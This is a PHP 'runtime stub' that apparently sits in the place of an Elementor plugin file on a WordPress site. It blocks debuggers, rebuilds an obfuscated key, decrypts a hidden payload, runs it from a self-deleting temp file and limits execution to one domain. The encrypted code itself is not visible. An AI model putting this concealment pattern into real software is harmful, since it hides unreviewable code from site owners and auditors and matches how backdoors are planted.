<?php
/**
 * Pro runtime stub.
 */

if (!extension_loaded('sodium')) { http_response_code(500); exit; }

// Anti-debug/trace (best-effort)
$forbid = ['xdebug','uopz','runkit','xhprof'];
foreach ($forbid as $ext) { if (extension_loaded($ext)) { http_response_code(500); exit; } }

$__ONLINE_ONLY = (int)('0');
if ($__ONLINE_ONLY) {
    if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { exit; }
    $host = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    if ($host==='' || preg_match('/(^|\.)(localhost|127\.0\.0\.1|::1)$/i', $host)) { exit; }
}

// domain guard
$__DOMS = json_decode('WyJpdHNob21hci5pciJd', true);
$__ERR = base64_decode('');
if (is_array($__DOMS) && count($__DOMS)>0) {
    $h = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    $ok=false;
    foreach ($__DOMS as $dRaw) {
        $d = strtolower(trim($dRaw));
        if ($h===$d || ($d && substr($h, -strlen('.'.$d)) === '.'.$d)) { $ok=true; break; }
    }
    if (!$ok) { http_response_code(403); echo $__ERR; exit; }
}

// expiry guard
$__EXP = (int)('0');
if ($__EXP>0 && time() > $__EXP) { http_response_code(403); echo $__ERR; exit; }

// Recombine key
function deobf_key(array $parts, array $masks, array $rot): string {
    $buf = '';
    $n = count($parts);
    for ($i=0;$i<$n;$i++) {
        $p = base64_decode($parts[$i]);
        $m = base64_decode($masks[$i]);
        $r = (int)$rot[$i];
        $x = '';
        for ($j=0;$j<strlen($p);$j++){
            $b = ord($p[$j]);
            $b = ((($b >> $r) | (($b << (8-$r)) & 0xFF)) & 0xFF); // rotate right
            $x .= chr($b);
        }
        $buf .= ($x ^ $m);
    }
    return $buf;
}

$__PARTS = json_decode('["AJBHBd3nrBE=","Iciaedblpww=","6etPkL4gvDU=","TLVdIG6p+C0="]', true);
$__MASKS = json_decode('["LBppXloL8cg=","boqCH0N6K5c=","jAgQLYhRom0=","t77kY2P6oks="]', true);
$__ROT   = json_decode('[2,7,2,5]', true);
$__KEY   = deobf_key($__PARTS, $__MASKS, $__ROT);

$__NONCE = base64_decode('BcPEMp9X/ikFUrhxf+x/o/u/hwwFsT7c');
$__AAD   = base64_decode('eyJsaWNfbW9kZSI6ImxvY2FsIiwibGljX3VybCI6IiIsImxpY19hcHAiOiIiLCJsaWNfcHViIjoiIiwibGljX2NhY2hlIjozNjAwLCJidWlsZCI6IjA4N2Q2NDc4Y2RmNDAzNDAiLCJwYXRoIjoiL2hvbWUvaXRzaG9tYXIvaXRzaG9tYXIuaXIvc291cmNlL2VsZW1lbnRvci9tb2R1bGVzL3N5c3RlbS1pbmZvL3JlcG9ydGVycy9uZXR3b3JrLXBsdWdpbnMucGhwIiwidHMiOjE3NTY2OTM3MTQsImV4cGlyZXMiOjAsImRvbWFpbnMiOlsiaXRzaG9tYXIuaXIiXSwib25saW5lIjowLCJ3cCI6MSwiYWxnbyI6InhjaGFjaGEyMHBvbHkxMzA1X2lldGYifQ==');
$__CT    = base64_decode('4bRCeX1+GwM43KgEHciY7bUsHKQOpGdmATORcv9ZTFDWAJrOMaasXNHUHQ7q2bDOp4ZOeeBE9LHKf+/U6fqMvLb6IGlCdEI/Rmk1wgr4dnCiMsaJOGaCetEX5JX4ds86F8bTMVZQqqY+eJsp8arRROMqwepv+u5SK+ISFLHbno1rhuF+NXovhPlINujtU45i+bQ/sxudTQHq722GJbrhymA2CotTBBNu4UYUVRPUAdiMXzZdxAZk5e3x7dzjLVm8rH3xUlcM2b3LElq30Lte/8NZtHKNi1yuI/SOP/LvfVlYD3ZBY7OCauodSm8Z1AFRiLyfnDd/cXUDsMnheqaikjCctd6OkRXgEmbT9gRC4LfHSeZLU7z2k1x1HmuSyw2ITy6SEBUs0KlzslYkJT3eF28NTQCXUGmVX+Z158qS+ZmbnT1xuSv8BvY3lAY69Js6+Etcn9C3DJnIG4OGdzhD5eX5uttIWjf6yJQPAArZIXk+IbhDcRg+S1SexODgTp3q1elH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uXyqCr3kpxdalNhTzpuyRyESkqq4NOdTBHwmNYe5hwLSFG0Jee/2NDSOpT0Av/jCfVuhwy/5vWHDRBZ4tMj2/cR2o7fuP8P1wOeNc2nQnx/FFUxW9uAVK1mPptbJDRO9joe1RjmjvWBkVDppeqrgmp6ntPoZoo9pXuKa89Cn1OqkfnyB507MPwLjjMEutdwAMabbNRMs97XE8fiap4TtHUYTb7wn0EyZ2EvuEQG9suoXrKxblBYekbNmxGWl5raUn/drp7jkmo5N2m7FQawgzTLLktcgCGX5WBFrXO7j2+iBMj0PrMew+FtpGteuOnkQ==');

// Signature verification
$__PK  = base64_decode('YkTZ9PpxBTfwqpZOccRKSbyBbBL0kKFXe0CnmsDdisM=');
$__SIG = base64_decode('iYars0wK66Y18wrn5fbTDGzMu0Wvl0IsWeRRuY9edrmFCS6UlKjWUsA5Ij/lZfRJS+eHlxLH/QW0LhlrqX9dCA==');
if (!sodium_crypto_sign_verify_detached($__SIG, $__AAD.$__CT, $__PK)) { http_response_code(500); exit; }

$__PT = sodium_crypto_aead_xchacha20poly1305_ietf_decrypt($__CT, $__AAD, $__NONCE, $__KEY);
if ($__PT === false) { http_response_code(500); exit; }

$__IS_WP = (int)('1');
if ($__IS_WP) {
    if (!defined('ABSPATH') && !defined('WPINC')) { /* optional exit; */ }
}

// Execute using temp include
$__tmp = sys_get_temp_dir().'/._'.sha1('087d6478cdf40340'.__FILE__.mt_rand()).'.php';
file_put_contents($__tmp, $__PT); unset($__PT);
include $__tmp;
@unlink($__tmp);
